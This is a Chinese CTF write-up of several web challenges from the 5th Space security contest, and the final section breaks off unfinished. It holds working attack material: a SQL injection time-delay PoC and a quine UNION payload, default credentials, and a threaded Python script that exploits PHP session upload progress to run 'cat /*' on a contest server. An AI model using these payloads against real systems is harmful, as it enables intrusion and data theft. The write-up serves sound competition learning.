第三届第五空间网络安全大赛WP(部分)

Web 1、PNG图片转换器

附件的web源码如下

require 'sinatra'
require 'digest'
require 'base64'


get '/' do
 open("./view/index.html", 'r').read()
end


get '/upload' do
 open("./view/upload.html", 'r').read()
end


post '/upload' do
 unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
   return "alert('error');location.href='/upload';"
 end
 begin
   filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'#对上传的文件进行md5名称加密处理
   open(filename, 'wb') { |f|
     f.write open(params[:file][:tempfile],'r').read()
  }
   "Upload success, file stored at #{filename}"
 rescue
   'something wrong'
 end


end


get '/convert' do
 open("./view/convert.html", 'r').read()
end


post '/convert' do
 begin
   unless params['file']
     return "alert('error');location.href='/convert';"
   end


   file = params['file']
   unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
     return "alert('dont hack me');"
   end
   res = open(file, 'r').read()
   headers 'Content-Type' => "text/html; charset=utf-8"
   "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
 rescue
   'something wrong'
 end
end

直接命令执行

2、yet_another_mysql_injection

F12提示源码：

延时注入成功的poc：

'or(benchmark(if((1),3000000,0),encode("hello","good")))#

但因为要构造select输出结果和输入相等，所以自己替换自己三次，类似强网杯的sql一个题，也类似CodegateCTF的一个题：https://www.shysecurity.com/post/20140705-SQLi-Quine，

然后直接注入passwd

'UNION(SELECT(REPLACE(REPLACE('"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39)),CHAR(37),'"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#')))#

Flag:

flag{4xTfpXWtBbrSNtCB48S39jtyHfIUylIh}

3、WebFTP

网上https://www.oschina.net/p/webftp/说有默认的 admin/admin888 和 demo/demo 失败

源码：https://github.com/wifeat/WebFTP

seay扫一下：

phpinfo

http://114.115.185.167:32770/Readme/mytz.php?act=phpinfo  

4、EasyCleanup

和羊城杯那个 PHP_SESSION_UPLOAD_PROGRESS 一样的脚本直接打

#coding=utf-8
import io
import requests
import threading
sessid = 'Yenan'
data = {"cmd":"system('cat /*');"}
def write(session):
   while True:
       f = io.BytesIO(b'a' * 1024 * 50)
       resp = session.post( 'http://114.115.134.72:32770', data={'PHP_SESSION_UPLOAD_PROGRESS': ''}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
   while True:
       resp = session.post('http://114.115.134.72:32770?file=/tmp/sess_'+sessid,data=data)
       if 'tgao.txt' in resp.text:
           print(resp.text)
           event.clear()
       else:
           print("[+++++++++++++]retry")
if __name__=="__main__":
   event=threading.Event()
   with requests.session() as session:
       for i in range(1,30):
           threading.Thread(target=write,args=(session,)).start()
       for i in range(1,30):
           threading.Thread(target=read,args=(session,)).start()
   event.set()

flag{8b39ace789479585ae8b1e16c113161a}

5、pklovecloud

源码:

payload: